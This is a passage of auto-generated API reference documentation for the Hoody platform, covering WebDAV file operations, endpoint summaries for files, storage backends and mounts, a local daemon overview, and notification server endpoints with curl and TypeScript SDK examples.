| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path on the WebDAV server |
| `type` | query | string | Yes | Must be `webdav` |
| `server` | query | string | Yes | WebDAV server hostname (e.g. `cloud.example.com`) |
| `user` | query | string | No | WebDAV username |
| `pass` | query | string | No | WebDAV password |
| `webdav_path` | query | string | No | WebDAV endpoint path. Default: `/` |

### SDK Usage

```ts
const result = await client.files.webdav.access({
  path: "/Documents/report.pdf",
  type: "webdav",
  server: "cloud.example.com",
  user: "alice",
  pass: "••••••••",
  webdav_path: "/remote.php/dav/files/alice"
});
```

### Response



File content or directory listing

```json
{
  "description": "File content or directory listing"
}
```



---

## `OPTIONS /{path}`

Returns the HTTP methods and WebDAV compliance classes supported for the given path. WebDAV clients call `OPTIONS` during capability discovery before issuing other WebDAV methods.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |

### SDK Usage

```ts
const result = await client.files.webdav.getOptions({
  path: "/Documents"
});
```

### Response



The response carries capability information in headers, not the body.

```json
{
  "description": "Allowed methods listed in Allow header",
  "headers": {
    "Allow": {
      "description": "Comma-separated list of supported HTTP methods",
      "schema": {
        "type": "string"
      }
    },
    "DAV": {
      "description": "WebDAV compliance class",
      "schema": {
        "type": "string"
      }
    }
  }
}
```



---

### Copy & Move

## `COPY /{path}`

WebDAV `COPY`: copies a file or directory to a new location specified by the `Destination` header.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Source file or directory path |
| `Destination` | header | string | Yes | Destination URL for the copy |
| `Depth` | header | string | No | Copy depth: `0` (file only) or `infinity` (recursive for directories). Default: `infinity` |

### SDK Usage

```ts
const result = await client.files.webdav.copyResource({
  path: "/Documents/report.pdf",
  Destination: "https://api.example.com/api/files/webdav/Archive/report-2024.pdf",
  Depth: "0"
});
```

### Response



Resource copied successfully

```json
{
  "description": "Resource copied successfully"
}
```


Resource overwritten at destination

```json
{
  "description": "Resource overwritten at destination"
}
```


Copy not allowed

```json
{
  "error": "Insufficient permissions to copy this resource",
  "success": false
}
```


Source resource not found

```json
{
  "description": "Source resource not found"
}
```


Destination parent does not exist

```json
{
  "description": "Destination parent does not exist"
}
```



---

## `MOVE /{path}`

WebDAV `MOVE`: moves or renames a file or directory to a new location specified by the `Destination` header. Requires both `upload` and `delete` permissions on the source.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | Source file or directory path |
| `Destination` | header | string | Yes | Destination URL for the move |

### SDK Usage

```ts
const result = await client.files.webdav.moveResource({
  path: "/Documents/draft.txt",
  Destination: "https://api.example.com/api/files/webdav/Documents/final.txt"
});
```

### Response



Resource moved successfully

```json
{
  "description": "Resource moved successfully"
}
```


Resource overwritten at destination

```json
{
  "description": "Resource overwritten at destination"
}
```


Move not allowed (requires upload and delete permissions)

```json
{
  "error": "Missing upload or delete permission on source resource",
  "success": false
}
```


Source resource not found

```json
{
  "description": "Source resource not found"
}
```


Destination parent does not exist

```json
{
  "description": "Destination parent does not exist"
}
```



---

### Locking

## `LOCK /{path}`

WebDAV `LOCK`: returns a lock token for client compatibility. This is a stub — the server does not enforce locks, it only echoes the standard WebDAV response so that clients expecting lock semantics do not error out.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `Depth` | header | string | No | Lock depth: `0` (file only) or `infinity` (recursive) |

### Request Body

The endpoint accepts an optional `application/xml` lock request body. No body fields are required.

### SDK Usage

```ts
const result = await client.files.webdav.lockResource({
  path: "/Documents/report.pdf",
  Depth: "0"
});
```

### Response



Lock token issued (compatibility only)

```json
{
  "description": "Lock token issued (compatibility only)"
}
```


File not found

```json
{
  "description": "File not found"
}
```



---

## `UNLOCK /{path}`

WebDAV `UNLOCK`: releases a previously issued lock token. This is a no-op compatibility stub — the server accepts and discards the token without state.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `Lock-Token` | header | string | Yes | Lock token to release |

### SDK Usage

```ts
const result = await client.files.webdav.unlockResource({
  path: "/Documents/report.pdf",
  "Lock-Token": "opaquelocktoken:abc123-def456"
});
```

### Response



Lock released (no-op)

```json
{
  "description": "Lock released (no-op)"
}
```


Resource not found

```json
{
  "description": "Resource not found"
}
```



---

### Properties

## `PROPFIND /{path}`

WebDAV `PROPFIND`: retrieves properties (metadata) for a file or directory. Returns a `207 Multi-Status` response in WebDAV XML format containing resource type, size, modification date, ETag, and other standard properties. Use the `Depth` header to control recursion into directories.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |
| `Depth` | header | string | No | Depth of property retrieval: `0` (resource only), `1` (immediate children), `infinity` (recursive). Default: `1` |

### Request Body

The endpoint accepts an optional `application/xml` PROPFIND body specifying which properties to retrieve. No body fields are required.

### SDK Usage

```ts
const result = await client.files.webdav.propfindResource({
  path: "/Documents",
  Depth: "1"
});
```

### Response



Multi-Status response with resource properties in WebDAV XML format

```json
{
  "description": "Multi-Status response with resource properties in WebDAV XML format"
}
```


Resource not found

```json
{
  "description": "Resource not found"
}
```



---

## `PROPPATCH /{path}`

WebDAV `PROPPATCH`: modifies custom properties on a file. Returns a `207 Multi-Status` response confirming the outcome of each `set` or `remove` instruction.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `path` | path | string | Yes | File or directory path |

### Request Body

The endpoint accepts an `application/xml` PROPPATCH body containing `set` and `remove` instructions. No body fields are required by the schema.

### SDK Usage

```ts
const result = await client.files.webdav.proppatchResource({
  path: "/Documents/report.pdf"
});
```

### Response



Multi-Status response confirming property changes

```json
{
  "description": "Multi-Status response confirming property changes"
}
```


File not found

```json
{
  "description": "File not found"
}
```

---

# Files:Archives

**Page:** api/files-archives

[Download Raw Markdown](./api/files-archives.md)

---

## API Endpoints Summary

- **GET** `/?extraction_history` — Extraction history
- **GET** `/?extractions` — List active extractions
- **GET** `/api/v1/extractions` — List active extractions
- **GET** `/{archive}?extract` — Extract archive
- **GET** `/{archive}?extract_file` — Extract file from archive
- **GET** `/{archive}?preview` — Preview archive contents or read file
- **GET** `/{archive}?view_file` — View file from archive
- **GET** `/{directory}?zip` — Download directory as ZIP

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Authentication

**Page:** api/files-authentication

[Download Raw Markdown](./api/files-authentication.md)

---

## API Endpoints Summary

- **CHECKAUTH** `/{path}` — Check authentication status
- **LOGOUT** `/{path}` — Clear authentication

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Backends

**Page:** api/files-backends

[Download Raw Markdown](./api/files-backends.md)

---

## API Endpoints Summary

- **GET** `/api/v1/backends` — List all backends
- **POST** `/api/v1/backends/alias` — Connect to alias backend
- **POST** `/api/v1/backends/azureblob` — Connect to azureblob backend
- **POST** `/api/v1/backends/azurefiles` — Connect to azurefiles backend
- **POST** `/api/v1/backends/b2` — Connect to b2 backend
- **POST** `/api/v1/backends/box` — Connect to box backend
- **POST** `/api/v1/backends/cache` — Connect to cache backend
- **POST** `/api/v1/backends/chunker` — Connect to chunker backend
- **POST** `/api/v1/backends/cloudinary` — Connect to cloudinary backend
- **POST** `/api/v1/backends/combine` — Connect to combine backend
- **POST** `/api/v1/backends/compress` — Connect to compress backend
- **POST** `/api/v1/backends/crypt` — Connect to crypt backend
- **POST** `/api/v1/backends/drive` — Connect to drive backend
- **POST** `/api/v1/backends/dropbox` — Connect to dropbox backend
- **POST** `/api/v1/backends/fichier` — Connect to fichier backend
- **POST** `/api/v1/backends/filefabric` — Connect to filefabric backend
- **POST** `/api/v1/backends/filescom` — Connect to filescom backend
- **POST** `/api/v1/backends/ftp` — Connect to ftp backend
- **POST** `/api/v1/backends/gofile` — Connect to gofile backend
- **POST** `/api/v1/backends/google-cloud-storage` — Connect to google cloud storage backend
- **POST** `/api/v1/backends/google-photos` — Connect to google photos backend
- **POST** `/api/v1/backends/hasher` — Connect to hasher backend
- **POST** `/api/v1/backends/hdfs` — Connect to hdfs backend
- **POST** `/api/v1/backends/hidrive` — Connect to hidrive backend
- **POST** `/api/v1/backends/http` — Connect to http backend
- **POST** `/api/v1/backends/iclouddrive` — Connect to iclouddrive backend
- **POST** `/api/v1/backends/imagekit` — Connect to imagekit backend
- **POST** `/api/v1/backends/internetarchive` — Connect to internetarchive backend
- **POST** `/api/v1/backends/jottacloud` — Connect to jottacloud backend
- **POST** `/api/v1/backends/koofr` — Connect to koofr backend
- **POST** `/api/v1/backends/linkbox` — Connect to linkbox backend
- **POST** `/api/v1/backends/local` — Connect to local backend
- **POST** `/api/v1/backends/mailru` — Connect to mailru backend
- **POST** `/api/v1/backends/mega` — Connect to mega backend
- **POST** `/api/v1/backends/memory` — Connect to memory backend
- **POST** `/api/v1/backends/netstorage` — Connect to netstorage backend
- **POST** `/api/v1/backends/onedrive` — Connect to onedrive backend
- **POST** `/api/v1/backends/opendrive` — Connect to opendrive backend
- **POST** `/api/v1/backends/oracleobjectstorage` — Connect to oracleobjectstorage backend
- **POST** `/api/v1/backends/pcloud` — Connect to pcloud backend
- **POST** `/api/v1/backends/pikpak` — Connect to pikpak backend
- **POST** `/api/v1/backends/pixeldrain` — Connect to pixeldrain backend
- **POST** `/api/v1/backends/premiumizeme` — Connect to premiumizeme backend
- **POST** `/api/v1/backends/protondrive` — Connect to protondrive backend
- **POST** `/api/v1/backends/putio` — Connect to putio backend
- **POST** `/api/v1/backends/qingstor` — Connect to qingstor backend
- **POST** `/api/v1/backends/quatrix` — Connect to quatrix backend
- **POST** `/api/v1/backends/s3` — Connect to s3 backend
- **POST** `/api/v1/backends/seafile` — Connect to seafile backend
- **POST** `/api/v1/backends/sftp` — Connect to sftp backend
- **POST** `/api/v1/backends/sharefile` — Connect to sharefile backend
- **POST** `/api/v1/backends/sia` — Connect to sia backend
- **POST** `/api/v1/backends/smb` — Connect to smb backend
- **POST** `/api/v1/backends/storj` — Connect to storj backend
- **POST** `/api/v1/backends/sugarsync` — Connect to sugarsync backend
- **POST** `/api/v1/backends/swift` — Connect to swift backend
- **POST** `/api/v1/backends/tardigrade` — Connect to tardigrade backend
- **POST** `/api/v1/backends/ulozto` — Connect to ulozto backend
- **POST** `/api/v1/backends/union` — Connect to union backend
- **POST** `/api/v1/backends/uptobox` — Connect to uptobox backend
- **POST** `/api/v1/backends/webdav` — Connect to webdav backend
- **POST** `/api/v1/backends/yandex` — Connect to yandex backend
- **POST** `/api/v1/backends/zoho` — Connect to zoho backend
- **GET** `/api/v1/backends/{id}` — Get backend details
- **PUT** `/api/v1/backends/{id}` — Update backend credentials
- **DELETE** `/api/v1/backends/{id}` — Disconnect backend
- **GET** `/api/v1/backends/{id}/test` — Test backend connection

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Directories

**Page:** api/files-directories

[Download Raw Markdown](./api/files-directories.md)

---

## API Endpoints Summary

- **MKCOL** `/{path}` — Create directory

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Downloads

**Page:** api/files-downloads

[Download Raw Markdown](./api/files-downloads.md)

---

## API Endpoints Summary

- **GET** `/?download_history` — Download history
- **GET** `/api/v1/downloads` — List active downloads
- **GET** `/{directory}?download` — Download file from remote URL
- **GET** `/{directory}?downloads` — List active downloads

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Files

**Page:** api/files-files

[Download Raw Markdown](./api/files-files.md)

---

## API Endpoints Summary

- **GET** `/{path}` — List directory contents or download file
- **PUT** `/{path}` — Upload file
- **PATCH** `/{path}` — File operations
- **DELETE** `/{path}` — Delete file or directory
- **HEAD** `/{path}` — Get file metadata
- **PUT** `/api/v1/files/append/{path}` — Append data to file
- **PATCH** `/api/v1/files/chmod/{path}` — Change file permissions
- **PATCH** `/api/v1/files/chown/{path}` — Change file ownership
- **POST** `/api/v1/files/copy/{path}` — Copy file or directory
- **GET** `/api/v1/files/glob/{path}` — Find files by glob pattern
- **GET** `/api/v1/files/grep/{path}` — Search file contents (grep)
- **POST** `/api/v1/files/move/{path}` — Move file or directory
- **GET** `/api/v1/files/realpath/{path}` — Resolve canonical path (realpath)
- **GET** `/api/v1/files/stat/{path}` — Get file metadata (stat)
- **GET** `/api/v1/files/{path}` — List directory or download file
- **POST** `/api/v1/files/{path}` — File operations (mkdir, extract, download, move, copy)
- **PUT** `/api/v1/files/{path}` — Upload or append file
- **PATCH** `/api/v1/files/{path}` — Modify file properties or move/rename
- **DELETE** `/api/v1/files/{path}` — Delete file or directory
- **GET** `/{directory}?q` — Search directory
- **PUT** `/{path}?touch` — Touch file (create or update mtime)

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Health

**Page:** api/files-health

[Download Raw Markdown](./api/files-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/files/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Image Processing

**Page:** api/files-image-processing

[Download Raw Markdown](./api/files-image-processing.md)

---

## API Endpoints Summary

- **GET** `/{image}?thumbnail` — Process and convert images

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Journal

**Page:** api/files-journal

[Download Raw Markdown](./api/files-journal.md)

---

## API Endpoints Summary

- **GET** `/api/v1/journal` — Query journal entries
- **POST** `/api/v1/journal/flush` — Flush journal to disk
- **GET** `/api/v1/journal/stats` — Get journal statistics

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Mounts

**Page:** api/files-mounts

[Download Raw Markdown](./api/files-mounts.md)

---

## API Endpoints Summary

- **GET** `/api/v1/mounts` — List all mounts
- **POST** `/api/v1/mounts` — Create persistent FUSE mount
- **GET** `/api/v1/mounts/{id}` — Get mount details
- **PATCH** `/api/v1/mounts/{id}` — Update mount VFS configuration
- **DELETE** `/api/v1/mounts/{id}` — Unmount filesystem

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Remote - FTP

**Page:** api/files-remote-ftp

[Download Raw Markdown](./api/files-remote-ftp.md)

---

## API Endpoints Summary

- **GET** `/{path}?type=ftp` — Access file via FTP

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Remote - Git

**Page:** api/files-remote-git

[Download Raw Markdown](./api/files-remote-git.md)

---

## API Endpoints Summary

- **GET** `/{path}?type=git` — Fetch file from Git repository

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Remote - S3

**Page:** api/files-remote-s3

[Download Raw Markdown](./api/files-remote-s3.md)

---

## API Endpoints Summary

- **GET** `/{path}?type=s3` — Access file from S3

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Remote - SSH

**Page:** api/files-remote-ssh

[Download Raw Markdown](./api/files-remote-ssh.md)

---

## API Endpoints Summary

- **GET** `/{path}?type=ssh` — Access file via SSH/SFTP
- **PUT** `/{path}?type=ssh` — Upload file via SSH/SFTP

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:System

**Page:** api/files-system

[Download Raw Markdown](./api/files-system.md)

---

## API Endpoints Summary

- **GET** `/api/v1/version` — Get API version

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:WebDAV

**Page:** api/files-web-dav

[Download Raw Markdown](./api/files-web-dav.md)

---

## API Endpoints Summary

- **OPTIONS** `/{path}` — Get allowed methods
- **COPY** `/{path}` — Copy file or directory
- **MOVE** `/{path}` — Move or rename file/directory
- **LOCK** `/{path}` — Lock file (WebDAV compatibility)
- **UNLOCK** `/{path}` — Unlock file (WebDAV compatibility)
- **PROPFIND** `/{path}` — Get WebDAV properties
- **PROPPATCH** `/{path}` — Update WebDAV properties

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Files:Webdav

**Page:** api/files-webdav

[Download Raw Markdown](./api/files-webdav.md)

---

## API Endpoints Summary

- **GET** `/{path}?type=webdav` — Access file via WebDAV

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# General

**Page:** api/general

[Download Raw Markdown](./api/general.md)

---

## API Endpoints Summary

- **GET** `/api/v1/workspaces/{workspaceID}/config` — Get configuration
- **PATCH** `/api/v1/workspaces/{workspaceID}/config` — Update configuration
- **GET** `/api/v1/workspaces/{workspaceID}/config/providers` — List config providers
- **GET** `/api/v1/workspaces/{workspaceID}/mcp` — Get MCP status
- **POST** `/api/v1/workspaces/{workspaceID}/mcp` — Add MCP server
- **GET** `/api/v1/workspaces/{workspaceID}/providers` — List providers
- **GET** `/api/v1/workspaces/{workspaceID}/skills/{name}` — Get skill
- **PUT** `/api/v1/workspaces/{workspaceID}/skills/{name}` — Create or update skill
- **PATCH** `/api/v1/workspaces/{workspaceID}/skills/{name}` — Partially update skill
- **DELETE** `/api/v1/workspaces/{workspaceID}/skills/{name}` — Delete skill
- **GET** `/api/v1/workspaces/{workspaceID}/tools` — List all tools
- **PATCH** `/api/v1/workspaces/{workspaceID}/project/{projectID}` — Update project
- **GET** `/api/v1/workspaces/{workspaceID}/permissions` — List pending permissions
- **GET** `/api/v1/workspaces/{workspaceID}/questions` — List pending questions

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Daemon Manager

**Page:** api/hoody-daemon

[Download Raw Markdown](./api/hoody-daemon.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Hoody Daemon

The Hoody Daemon is the local background service that powers the Hoody platform on your machine. It manages runtime processes, orchestrates agent workflows, and exposes a local HTTP API that the Hoody dashboard, CLI, and SDKs communicate with. Every command you run from the Hoody interface — launching an agent, managing containers, reading logs, or syncing state — is ultimately handled by the daemon running on `localhost`.

## When to use the Daemon API

The Daemon API is intended for:

- **Local integrations** — building tools, scripts, or automations that interact with a running Hoody instance on the same machine.
- **Custom clients** — constructing alternative UIs or CLI frontends that need to talk directly to the daemon without going through the official dashboard.
- **Agent orchestration** — programmatically starting, stopping, and monitoring agent processes and their associated resources.
- **Diagnostics and observability** — reading logs, inspecting container state, and querying the health of Hoody-managed services.

## API structure

The Daemon exposes its endpoints over a local HTTP server. All requests are served from the loopback interface and use standard REST conventions:

- Requests and responses are JSON.
- Authentication is handled via a locally-issued bearer token generated on first launch.
- Endpoints are grouped by resource (agents, containers, logs, workspaces, etc.).

Refer to the individual endpoint reference pages in this section for the full list of available operations, their parameters, and example responses.

## Base URL

By default, the daemon listens on:

```
http://127.0.0.1:<port>
```

The port is assigned at startup and can be found in the daemon's log file or by running `hoody status` from the CLI.


The Daemon API is only reachable from the machine where Hoody is running. It is not exposed to the network and should not be treated as a public-facing API.



If you are building on top of Hoody, prefer the official SDKs over calling the daemon directly. The SDKs handle connection management, token refresh, and error normalization for you.

---

# Fetching Notifications

**Page:** api/kit/notification-server/fetching

[Download Raw Markdown](./api/kit/notification-server/fetching.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Fetching Notifications

Retrieve, stream, dismiss, and clear notifications associated with one or more displays. Use these endpoints to fetch historical notification data, subscribe to real-time notification events over WebSocket, or manage dismissed state.

---

### `GET /api/v1/notifications/{display}`

Retrieves notifications for one or more specified displays. The `display` path parameter accepts a single display ID (e.g. `"1"` or `":1"`), a comma-separated list (e.g. `"1,:2,3"`), or `"all"` to fetch from all displays.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `display` | path | string | Yes | A single display ID (e.g. `"1"` or `":1"`), a comma-separated list (e.g. `"1,:2,3"`), or `"all"` to fetch from all displays |
| `limit` | query | integer | No | Maximum number of notifications to return. Defaults to `100` |
| `since` | query | integer | No | Unix timestamp in milliseconds to get notifications after this time |
| `username` | query | string | No | Filter notifications by username |
| `session` | query | string | No | Filter notifications by session ID |




```bash
curl -X GET "https://display.kit.hoody.com/api/v1/notifications/1?limit=50&since=1749024000000" \
  -H "Authorization: Bearer <token>"
```




```typescript
const result = await client.notifications.listIterator({
  display: "1",
  limit: 50,
  since: 1749024000000,
});
```




```json
{
  "success": true,
  "data": {
    "count": 1,
    "displays": ["1"],
    "notifications": [
      {
        "id": 10,
        "appname": "Google Chrome",
        "summary": "Focus or Open a Window",
        "body": "Click to focus the window",
        "message": "Focus or Open a Window: Click to focus the window",
        "icon_url": "/api/v1/notifications/icons/6_10_1749024932903.png",
        "has_icon": true,
        "category": "system",
        "urgency": "normal",
        "expire_time": 5000,
        "display_id": 1,
        "timestamp": 1749024932903
      }
    ]
  }
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid display parameter"
}
```




```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred while retrieving notifications"
}
```




---

### `GET /api/v1/notifications/stream`

Establishes a WebSocket connection for real-time notification updates. Clients can subscribe to one or more displays and receive immediate notifications as they occur.


This endpoint uses the WebSocket protocol. A successful connection returns HTTP `101 Switching Protocols` and then streams JSON notification messages until the client disconnects.


#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displays` | query | string | Yes | Comma-separated display IDs to subscribe to (e.g. `"0,:1,2"`), or `"all"` to receive notifications from every display |




```bash
curl -i -N \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  "https://display.kit.hoody.com/api/v1/notifications/stream?displays=all"
```




```typescript
const stream = await client.notifications.connectStream({
  displays: "all",
});

stream.on("message", (notification) => {
  console.log(notification);
});
```




```
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Missing or invalid 'displays' query parameter"
}
```




```json
{
  "error": "Connection limit exceeded",
  "type": "error"
}
```




---

### `POST /api/v1/notifications/dismiss`

Marks notifications as dismissed. Dismissed notifications are filtered from subsequent `GET` responses.

This endpoint takes no parameters.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `notificationIds` | array&lt;integer&gt; | Yes | Array of notification IDs to dismiss |
| `displayId` | string | No | Optional display ID to scope the dismissal |




```bash
curl -X POST "https://display.kit.hoody.com/api/v1/notifications/dismiss" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "displayId": "1",
    "notificationIds": [10, 11, 12]
  }'
```




```typescript
const result = await client.notifications.dismiss({
  data: {
    displayId: "1",
    notificationIds: [10, 11, 12],
  },
});
```




```json
{
  "success": true,
  "message": "3 notification(s) dismissed"
}
```




```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "notificationIds must be a non-empty array of integers"
}
```




```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "An unexpected error occurred while dismissing notifications"
}
```




---

### `DELETE /api/v1/notifications/dismiss`

Clears the dismissed state, making previously dismissed notifications visible again.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | string | No | Optional display ID to scope the clear operation |




```bash
curl -X DELETE "https://display.kit.hoody.com/api/v1/notifications/dismiss?displayId=1" \
  -H "Authorization: Bearer <token>"
```




```typescript
const result = await client.notifications.clearDismissed({
  displayId: "1",
});
```




```json
{
  "success": true,
  "message": "Dismissed notifications cleared"
}
```




---

### Notification object schema

The objects returned inside `data.notifications` for the list endpoint share the following structure:

| Field | Type | Description |
|-------|------|-------------|
| `id` | integer | Unique notification ID |
| `appname` | string | Name of the application that triggered the notification |
| `summary` | string | Notification summary/title |
| `body` | string | Notification body text |
| `message` | string | Combined message text |
| `icon_url` | string | Relative URL to the notification icon |
| `has_icon` | boolean | Whether the notification has an icon |
| `category` | string | Notification category |
| `urgency` | string | Urgency level. One of `low`, `normal`, or `critical` |
| `expire_time` | integer | Expiration time in milliseconds |
| `display_id` | integer | Display ID where the notification was shown |
| `timestamp` | integer | Unix timestamp in milliseconds when the notification was created |

---

# Health Check

**Page:** api/kit/notification-server/health

[Download Raw Markdown](./api/kit/notification-server/health.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Health Check

These endpoints provide health and observability information for the notification server. The health check returns a standardized response describing service status, runtime metadata, and resource usage, while the metrics endpoint exposes Prometheus-compatible telemetry data. Use these endpoints for liveness probes, monitoring dashboards, and alerting pipelines.

## Service health

### `GET /api/v1/notifications/health`

Returns the standardized 9-field health response. This endpoint is unauthenticated and always returns HTTP 200 with `application/json` when the service is reachable.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/notifications/health
```


```typescript
const result = await client.notifications.health.check();
```


```json
{
  "status": "ok",
  "service": "notifications",
  "built": "2024-11-15T08:22:10Z",
  "started": "2025-01-20T14:03:55Z",
  "memory": {
    "rss": 48234496,
    "heap": 20971520
  },
  "fds": 128,
  "pid": 4711,
  "ip": "10.0.4.17",
  "userAgent": "Hoody-HealthProbe/1.0"
}
```



#### Response fields

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | Service health status. Always `"ok"` when reachable. |
| `service` | string | Yes | Service identifier. |
| `built` | string | No | Executable mtime as RFC3339 string. May be `null`. |
| `started` | string | Yes | Process start time as RFC3339 string. |
| `memory` | object | No | Runtime memory usage. May be `null`. |
| `memory.rss` | integer | Yes | Resident set size in bytes. |
| `memory.heap` | integer | No | Language runtime heap in bytes (null for Rust). |
| `fds` | integer | No | Count of open file descriptors. May be `null`. |
| `pid` | integer | Yes | Process identifier. |
| `ip` | string | Yes | Local IP address of the process. |
| `userAgent` | string | No | User-Agent header from the request. May be `null`. |

## Prometheus metrics

### `GET /api/v1/notifications/metrics`

Returns server metrics in Prometheus text exposition format. This endpoint is unauthenticated and intended for scraping by a Prometheus server or compatible observability backend.

This endpoint takes no parameters.



```bash
curl -X GET https://api.hoody.com/api/v1/notifications/metrics
```


```typescript
const result = await client.notifications.health.getMetrics();
```


```
# HELP notifications_up Whether the service is up (1) or down (0)
# TYPE notifications_up gauge
notifications_up 1
# HELP notifications_process_start_time_seconds Start time of the process since unix epoch in seconds
# TYPE notifications_process_start_time_seconds gauge
notifications_process_start_time_seconds 1737381835
# HELP notifications_process_resident_memory_bytes Resident memory size in bytes
# TYPE notifications_process_resident_memory_bytes gauge
notifications_process_resident_memory_bytes 48234496
# HELP notifications_open_fds Number of open file descriptors
# TYPE notifications_open_fds gauge
notifications_open_fds 128
```




The response body is returned with `Content-Type: text/plain` using the Prometheus text exposition format. Parse it with any standard Prometheus client library.

---

# Icons

**Page:** api/kit/notification-server/icons

[Download Raw Markdown](./api/kit/notification-server/icons.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Get notification icon

The notification icon endpoint serves icon image assets used by client applications to render visual indicators for Hoody notifications. Icon identifiers are deterministically derived from the underlying notification payload — combining the extension, notification ID, session identifier, and timestamp — so a given notification always maps to the same icon. Use this endpoint when you need to display or cache the raw icon binary for a notification record.

### `GET /api/v1/notifications/icons/{iconId}`

Returns the binary contents of a notification icon. The response is served with caching headers (`Cache-Control`, `ETag`, `Last-Modified`) so clients can revalidate and avoid redundant downloads. The `Content-Type` header indicates the actual image format (`image/png`, `image/jpeg`, or `image/svg+xml`).

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `iconId` | path | string | Yes | The unique identifier for the icon (e.g., `6_10_1749024932903.png`) |

This endpoint takes no request body.

#### Response



The icon image was found and is returned as binary data in the negotiated content type.

```json
HTTP/1.1 200 OK
Content-Type: image/png
Cache-Control: public, max-age=86400
ETag: "6_10_1749024932903"
Last-Modified: Tue, 03 Jun 2025 12:35:32 GMT

(binary image data)
```


Returned when the client supplies a valid `If-None-Match` (ETag) or `If-Modified-Since` header and the cached copy is still current. No body is returned.

```json
HTTP/1.1 304 Not Modified
ETag: "6_10_1749024932903"
Cache-Control: public, max-age=86400
```


Returned when no icon matches the supplied `iconId`. The icon identifier is typically derived from extension, session, notification ID, and timestamp — confirm those values are correct.

```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Icon not found"
}
```


Returned when the client has exceeded the allowed request rate for icon downloads. Honor the `Retry-After` response header before retrying.

```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Rate limit exceeded"
}
```



#### SDK usage

```ts
// Fetch a notification icon binary
const iconStream = await client.notifications.icons.get({
  iconId: "6_10_1749024932903.png",
});
```

```ts
// Using cURL with cache revalidation
